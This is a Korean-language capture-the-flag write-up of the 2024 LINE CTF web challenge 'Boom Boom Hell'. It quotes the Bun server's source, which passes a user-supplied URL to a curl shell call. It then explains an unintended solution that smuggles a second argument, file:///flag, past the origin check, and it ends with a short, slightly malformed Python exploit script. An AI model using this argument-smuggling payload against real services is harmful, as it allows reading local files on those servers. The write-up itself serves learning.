2024 Line CTF에서 웹 문제인 Boom Boom Hell을 언인텐하여 풀이를 적어보고자 합니다.
Boom Boom Hell
중요 코드의 해석은 아래와 같습니다.
/chall
엔드포인트에url
파라미터를 제어할 수 있습니다.if문 2개
를 통과해야 합니다.- url의 파라미터의 길이가 escapeHTML(url)된 길이보다 작거나 같아야 함
- URL(url) 객체된 origin이
https://www.lycorp.co.jp
이여야함
- URL 객체를 만들어
curl (url)
를 보내 해당 응답을 출력합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import {$, escapeHTML} from "bun";
import qs from "qs";
const port = process.env.PORT || 3000;
const logFile = process.env.LOGFILE || ".log";
const server = Bun.serve({
host: "0.0.0.0",
port: port,
async fetch(req) {
const url = new URL(req.url);
if (url.pathname === "/chall") {
const params = qs.parse(url.search, {ignoreQueryPrefix: true});
if (params.url.length < escapeHTML(params.url).length) { // dislike suspicious chars
return new Response("sorry, but the given URL is too complex for me");
}
const lyURL = new URL(params.url, "https://www.lycorp.co.jp");
if (lyURL.origin !== "https://www.lycorp.co.jp") {
return new Response("don't you know us?");
}
const rawFetched = await $`curl -sL ${lyURL}`.text();
const counts = {
"L": [...rawFetched.matchAll(/LINE/g)].length,
"Y": [...rawFetched.matchAll(/Yahoo!/g)].length,
}
await $`echo $(date '+%Y-%m-%dT%H:%M:%S%z') - ${params.url} ::: ${JSON.stringify(counts)} >> ${logFile}`;
const highlighted = escapeHTML(rawFetched)
.replace(/LINE/g, "<mark style='color: #06C755'>$&</mark>")
.replace(/Yahoo!/g, "<mark style='color: #FF0033'>$&</mark>");
const html = `
<h1>Your score is... 🐐<${counts.L + counts.Y}</h1>
<details open>
<summary>Result</summary>
<blockquote>${highlighted}</blockquote>
</details>
`;
return new Response(html, {headers: {"Content-Type": "text/html; charset=utf-8"}});
} else {
return new Response("🎶😺≡≡≡😺🎶 Happy Happy Happy~")
}
}
});
console.log(`😺 on http://localhost:${server.port}`);
How to Exploit?
제가 제일 먼저 생각한 방법은 curl을 이용하는 것 이였습니다. curl의 응답 내용을 보여주기에 URL에 file scheme을 넣어 FLAG를 찾는 방향이였습니다.
1
const rawFetched = await $`curl -sL ${lyURL}`.text();
- curl을 두번 요청 하게 한다
- curl {a} {b} 이런식으로 요청하게되면 두개를 보내게 됩니다.
- origin 우회
- https://www.lycorp.co.jp?` `file:///flag`
- 위와같이 전달하게 되면 origin은 https://www.lycorp.co.jp가 됩니다.
But….?
다만 FLAG가 나왔지만 디버깅을 해보니 생각과는 다르게 뒤에 요청만 전달
하네요..?
1
2
3
4
5
const lyURL = new URL(params.url, "https://www.lycorp.co.jp");
console.log(lyURL);
const rawFetched = await $`curl -sL ${lyURL}`.text();
console.log(rawFetched);
Exploit Code
Exploit Code 입니다.
1
2
3
4
5
6
7
import requests
http://34.146.180.210:3000/chall?url=https://www.lycorp.co.jp?``file:///flag"
info = lambda x : print(f"[+] {x}")
res = requests.get(URL)
info(f"flag = {res.text}")
후기
인텐풀이는 raw 속성을 주어 unescape를 통한 command injection 문제였습니다.
docs를 봤는데 너무 대충봤나 봅니다… 보고도 넘어갔네요…
문제를 풀어보니 좀 더 소스코드를 잘 분석하고 + 독스도 꼼꼼히 읽어 많은 문제들을 잘 풀고 싶네요
그래도 항상 언인텐은 짜릿함!